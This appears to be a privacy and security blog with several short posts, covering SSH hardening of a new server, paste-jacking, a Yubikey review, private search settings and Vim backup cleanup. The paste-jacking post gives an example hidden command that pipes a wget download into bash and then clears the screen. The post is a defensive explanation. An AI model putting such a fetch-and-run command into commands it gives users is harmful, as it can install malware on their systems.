c0d3 :: j0rg3

Happy new year! New year means new servers, right?

That provides its own set of interesting circumstances!

The server we’re investigating in this scenario was chosen for being a dedicated box in a country that has quite tight privacy laws. And it was a great deal offered on LEB.

So herein is the fascinating bit. The rig took a few days for the provider to set up and, upon completion, the password for SSHing into the root account was emailed out. (o_0)

In very security-minded considerations, that means that there was a window of opportunity for bad guys to work on guessing the password before its owner even tuned in. That window remains open until the server is better secured. Luckily, there was a nice interface for reinstalling the OS permitting its purchaser to select a password.

My preferred approach was to script the basic lock-down so that we can reinstall the base OS and immediately start closing gaps.

In order:

In this post, we’re focused on the first two steps.

The tasks to be handled are:

We’ll use ssh-keygen to generate a key — and stick with RSA for ease. If you’d prefer ECC then you’re probably reading the wrong blog but feel encouraged to contact me privately.

The code:

We just run this script soon as the OS is reinstalled and we’re substantially safer. As a Deb8 install, quickly pulling down fail2ban and PortSentry makes things quite a lot tighter.

In another post, we’ll visit the 2017 version of making a DIY script to batten the hatches using a variety of publicly provided blocklists.

Download here:
    ssh_quick_fix.sh

Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";
ls -l

Paste below to see what lurks in the <span> that you’re not seeing:

If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash
clear


Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

So what’s the cure?

Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

Read more at ush.it and h-online.com.

In an effort to promote practical privacy measures, when I send people links to search engines, I choose ixquick. However, my personal settings submit my search terms via POST data rather than GET, meaning that the search terms aren’t in the URL.

Recently, I’ve found myself hand-crafting links for people and then I paste the link into a new tab, to make sure I didn’t fat-finger anything. Not a problem per se, but the technique leaves room for a bit more efficiency. So I’ve taken the ‘A Search Box on Your Website’ tool offered by ixquick and slightly modified the code it offers, to use GET variables, in a new tab where I can then copy the URL and provide the link to others.

You can test, or use, it here — I may add it (or a variant that just provides you the link) to the navigation bar above. First, though, I’m going to mention the need to the outstanding minds at ixquick because it would make a LOT more sense on their page than on mine.

Recently, I ordered a Yubikey and, in the comments section of the order, I promised to write about the product. At the time, I assumed that there was going to be something about which to write: (at least a few) steps of setting up and configuration or a registration process. They’ve made the task of writing about it difficult, by making the process of using it so easy.

Plug it in. The light turns solid green and you push the button when you need to enter the key. That’s the whole thing!

Physically, the device has a hole for a keychain or it can slip easily into your wallet. It draws power from the USB port on the computer, so there’s none stored in the device, meaning it should be completely unfazed if you accidentally get it wet.

Let’s take a look at the device.

> lsusb | grep Yubico


Bus 005 Device 004: ID 1050:0010 Yubico.com Yubikey

> lsusb -v -s5:4

Bus 005 Device 004: ID 1050:0010 Yubico.com Yubikey
Couldn't open device, some information will be missing
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass            0 (Defined at Interface level)
  bDeviceSubClass         0 
  bDeviceProtocol         0 
  bMaxPacketSize0         8
  idVendor           0x1050 Yubico.com
  idProduct          0x0010 Yubikey
  bcdDevice            2.41
  iManufacturer           1 
  iProduct                2 
  iSerial                 0 
  bNumConfigurations      1
  Configuration Descriptor:
    bLength                 9
    bDescriptorType         2
    wTotalLength           34
    bNumInterfaces          1
    bConfigurationValue     1
    iConfiguration          0 
    bmAttributes         0x80
      (Bus Powered)
    MaxPower               30mA
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           1
      bInterfaceClass         3 Human Interface Device
      bInterfaceSubClass      1 Boot Interface Subclass
      bInterfaceProtocol      1 Keyboard
      iInterface              0 
        HID Device Descriptor:
          bLength                 9
          bDescriptorType        33
          bcdHID               1.11
          bCountryCode            0 Not supported
          bNumDescriptors         1
          bDescriptorType        34 Report
          wDescriptorLength      71
         Report Descriptors: 
           ** UNAVAILABLE **
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x81  EP 1 IN
        bmAttributes            3
          Transfer Type            Interrupt
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0008  1x 8 bytes
        bInterval              10

There’s not a great deal to be seen here. As it tells you right on Yubico’s site, the device presents as a keyboard and it “types” out its key when you press the button, adding another long and complex password to combine with the long and complex password that you’re already using.

Keep in mind that this device is unable to protect you from keyloggers, some of which are hardware-based. It’s critically important that you are very, very careful about where you’re sticking your Yubikey. Even Yubico cannot protect us from ourselves.

In this writer’s opinion, it is vitally important that we take reasonable measures now to help insure anonymity, lest we create a situation where privacy no longer exists, and the simple want of, becomes suspicious.

Here’s how to configure your browser to automatically use a search engine that respects your privacy.

Chrome:

1. Click Settings.
2. Click “Set pages” in the “On startup” section.
3. Enter https://ixquick.com/eng/ in the “Add a new page” text field.
4. Click OK.
5. Click “Manage search engines…”
6. At the bottom of the “Search Engines” dialog, click in the “Add a new search engine” field.
7. Enter
   ixquick
ixquick.com
https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
8. Click “Make Default”.
9. Click “Done”.

Firefox:

1. Click the Tools Menu.
2. Click Options.
3. Click the General tab.
4. In “When Firefox Starts” dropdown, select “Show my home page”.
5. Enter https://ixquick.com/eng/ in the “Home Page” text field.
6. Click one of the English options here.
7. Check box for “Start using it right away.”
8. Click “Add”.

Opera:

1. Click “Manage Search Engines
2. Click “Add”
3. Enter
   Name: ixquick
   Keyword: x
   Address: https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
4. Check “Use as default search engine”
5. Click “OK”

Internet Explorer:

  _     ___  _ __        ___   _ _____ ___ 
 | |   / _ \| |\ \      / / | | |_   _|__ \
 | |  | | | | | \ \ /\ / /| | | | | |   / /
 | |__| |_| | |__\ V  V / | |_| | | |  |_| 
 |_____\___/|_____\_/\_/   \___/  |_|  (_) 

(This is not a good strategy for privacy.)

Congratulations!

You are now one step closer to not having every motion on the Internet recorded.

This is a relatively small measure, though. You can improve your resistance to prying eyes (e.g., browser fingerprinting) by using the Torbrowser Bundle, or even better, Tails, and routing your web usage through Tor, i2p, or FreeNet.

If you would like more on subjects like anonymyzing, privacy and security then drop me a line via email or Bitmessage me: BM-2D9tDkYEJSTnEkGDKf7xYA5rUj2ihETxVR

It’s generally a great idea to have Vim keep backups. Once in awhile, they can really save your bacon.

The other side of that coin, though, is that they can get left behind here and there, eventually causing aggravation.

Here’s a snippet to find and eliminate those files from the current directory down:

This uses find from the current directory down (./) to execute an rm statement on all files with an extension ending in tilde (~)